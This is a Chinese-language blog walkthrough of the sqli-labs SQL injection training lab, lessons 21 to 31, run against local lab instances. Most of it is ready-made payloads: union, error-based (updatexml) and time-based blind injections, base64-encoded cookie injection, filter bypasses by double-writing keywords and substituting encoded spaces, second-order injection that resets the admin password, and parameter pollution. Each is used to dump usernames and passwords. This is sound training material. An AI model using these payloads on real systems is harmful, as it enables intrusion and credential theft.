sali-labs(21-31)

less-21

圈出来的地方显然是base64加密过的,解码得到:admin,就是刚才登录的uname,所以猜测:本题在cookie出加密了字符串;

    查看php文件确实如此,所以只需要上传payload的时候base64加密一下就行了。

 看到cookie是YWRtaW4%3D,和页面显示的不一样 但是明显%3D是=号urdecode的结果,接下来构造paylaod进行测试:

admin' and 1=1 --+ //明文

YWRtaW4nIGFuZCAxPTEgLS0r  //密文

看到红矩形的提示,应该构造 ')这种的

明文:admin')#

密文:YWRtaW4nKSM=

正常显示,所以闭合条件为('uname'),因为本关和上一关一样,所以列数为3列,显示位相同。

(1)爆库

-admin') union select 1,2,database()#

LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

 (2)爆表

-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

 (3)爆列

-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=

 (4)爆数据

-admin') union select 1,2,group_concat(username,0x7e,password) from users#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHg3ZSxwYXNzd29yZCkgZnJvbSB1c2VycyM=

 less-22

和less-21关一样,只需要使用双引号再去掉括号

-admin" union select 1,2,database() #      
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

 less-23

源码替换了能用的注释符,所以我们可以构造闭合语句进行注入

(1)爆库

127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,database() '

 (2)爆表

http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20or%20%27

 (3)爆列

127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'or '

 

 (4)爆数据

http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20users%20where%201%20or%20%27

 less-24

是一个登陆页面,我们没有账号,所以选择新建一个用户

我们新建的用户名为:admin'#   密码为:123456

查看数据库,可以看到,我们的数据插入进去了

 我们使用新建的用户名和密码登录

登录成功了,跳转到了后台页面修改密码页面。

我们修改用户名为:admin'#   密码为:aaaaaaaaa

 提示密码更新成功!

我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了  aaaaaaaaaa

 那么,为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞

 当我们提交用户名  admin'# 修改密码为 aaaaaaaaaa 的时候,这条SQL语句就变成了下面的语句了。

#把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaaaaaa

$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";

 less-25

根据题意得,本关过滤了or和and。查看源码可以看到or和and被替换成空,我们可以双写绕过

 

(1)加单引号报错

 (2)加双引号正常显示

 (3)输入?id=1'--+

 正常显示,所以参数的闭合方式是'id'

(4)判断列数

 正常显示,

(5)输入?id=1' oorrder by 4--+

 报错所以列数为三列。

(6)判断显示位

 后面就是union查询注入的老一套了,遇见and或or字符的时候双写就行了。

less-25a

不同于Less(25)的是,sql语句中对于id,没有"的包含,同时没有输出错误项,报错注入不能用。

 union联合注入

http://127.0.0.1/sqli-labs/Less-25a/?id=-1 union select 1,2,database()--+

 盲注

http://127.0.0.1/sqli-labs/Less-25a/?id=-1 || if(length(database())=8,sleep(10),1)#

 less-26

查看php文件,可以发现过滤了 or and /* -- # \s //

 

(1)确认一下:

    ?id=%231  //确认过滤了#

    ?id=or1  //确认过滤了or

    ?id=/*1  //确认过滤了多行注释  

    ?id=--1  //确认过滤了单行注释

    ?id=/1  //确认过滤了斜杠

    ?id=1' ' '  //确认过滤了空格,报错注入才行

    ?id=\  //确认过滤了反斜杠

有三种注入方式,两个明注和一个盲注。

  • 明注一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
  • 明注二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入extractvalue()注入,因其他方法仍不能避开空格的使用。
  • 盲注:基于 Bool 盲注,构造注入语句避开空格。

由于Apache解析的原因,Windows无法使用特殊字符代替空格,在linux下就没问题

报错注入

http://192.168.116.128/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

 

 

(2)爆表名

http://192.168.116.128/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

 

 

 (3)爆列名

http://192.168.116.128/sqli-labs/Less-26/?id=-1%27||updatexml(1,concat(%27%%27,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=%27users%27)anandd(table_schema='security'))),1)||%271%27=%271

 

 

 (4)爆数据

http://192.168.116.128/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1

 

 

 less-26a

 (1)爆库:?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

     

   (2)爆表:

?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

    

  (3)爆列名:

?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

    

  (4)爆值:?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b('1')=('1

    

 less-27

查看一下php文件,发现不仅过滤了符号,还过滤了一些关键字,但是我们可以大小写结合

 

 (1)爆库

http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1 

 

 

 (2)爆表(把or换成&&(%26%26))

http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b'1'='1

 

 (3)爆列名

http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1

 (4)爆数据

http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0buniOn%0bseLect (1),(2),'(3

 less-27a

和Less(27)一样,就是把单引号闭合变成双引号闭合

http://127.0.0.1/sqli-labs/Less-27a/?id=0"%0buniOn%0bsElEct%0b1,database(),3%0bor%0b"1"="1  

 less-28

这个和Less(27)差不多,就是把参数变成 id=('1')

1.测试http://127.0.0.1/sqli-labs/Less-28/?id=1%27,页面回显不正常,但又没有错误提示,报错注入没戏,尝试闭合语句,加单引号回显不正常,说明sql语句闭合至少有',可能有),判断有无)在Less-26已经写过,经过验证确实含有'

2.尝试使用联合查询注入,构造语句http://127.0.0.1/sqli-labs/Less-28/?id=1%27);union%20select%00,看回显

空格没有了,说明空格被过滤了,尝试使用特殊字符绕过过滤,经测试如下特殊字符可以替换空格%0a,%0d,%20,%0b,/%0a/,再来构造http://127.0.0.1/sqli-labs/Less-28/?id=1%27);union%0dselect%0d1,2,3;%00,看回显

,由前后两次构造的语句和回显提示,说明过滤了union+空格(包括可替代空格的特殊字符)+select,但是又没过滤单独存在的union,select,尝试构造http://127.0.0.1/sqli-labs/Less-28/?id=0')union%0dunion%0dselectselect%0d1,2,3看是否能回显正常,测试后,结果,联合查询注入存在,查询方法前面已有,搞定。

less-28a

过滤很严格,但是还是存在绕过滴,比如http://127.0.0.1/sqli-labs/Less-28a/?id=0%27)union%0Aseunion%0Aselselectectlect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema=%27security%27;%00,存在联合查询注入,搞定

less-29

1.构造http://localhost:8080/sqli-labs/Less-29/?id=1',跳转到临外一个页面

url栏跑出来一个hack.jsp,可以看出来是Tomcat服务器,但是现在基本上没用jsp写后台的了,基本上用php,所以果断猜测是双服务器—
2.构造http://localhost:8080/sqli-labs/Less-29/?id=1&id=2,结果如下

回显的是id=2的内容,说明确实是apache+Tomcat双服务器,尝试判断注入点,加',页面报错

根据报错提示可以构造闭合了'--+,看看是否存在联合查询注入,构造http://localhost:8080/sqli-labs/Less-29/?id=1&id=0%27union%20select%201,2,3--+,回显如下,说明存在,接下来的操作和以前的单服务器一样了

 

 以为我没有安装tomcat服务,所以没有复现该关。转载自:https://blog.csdn.net/qq_43579362/article/details/104325466?spm=1001.2014.3001.5501

less-30

闭合方式wei"--+,可以联合查询注入,不可以用报错型注入,因为无错误回显

less-31

闭合方式为")--+,可以联合查询注入,报错型注入

posted @ 2021-10-03 19:33  学安全的小白  阅读(140)  评论(0编辑  收藏  举报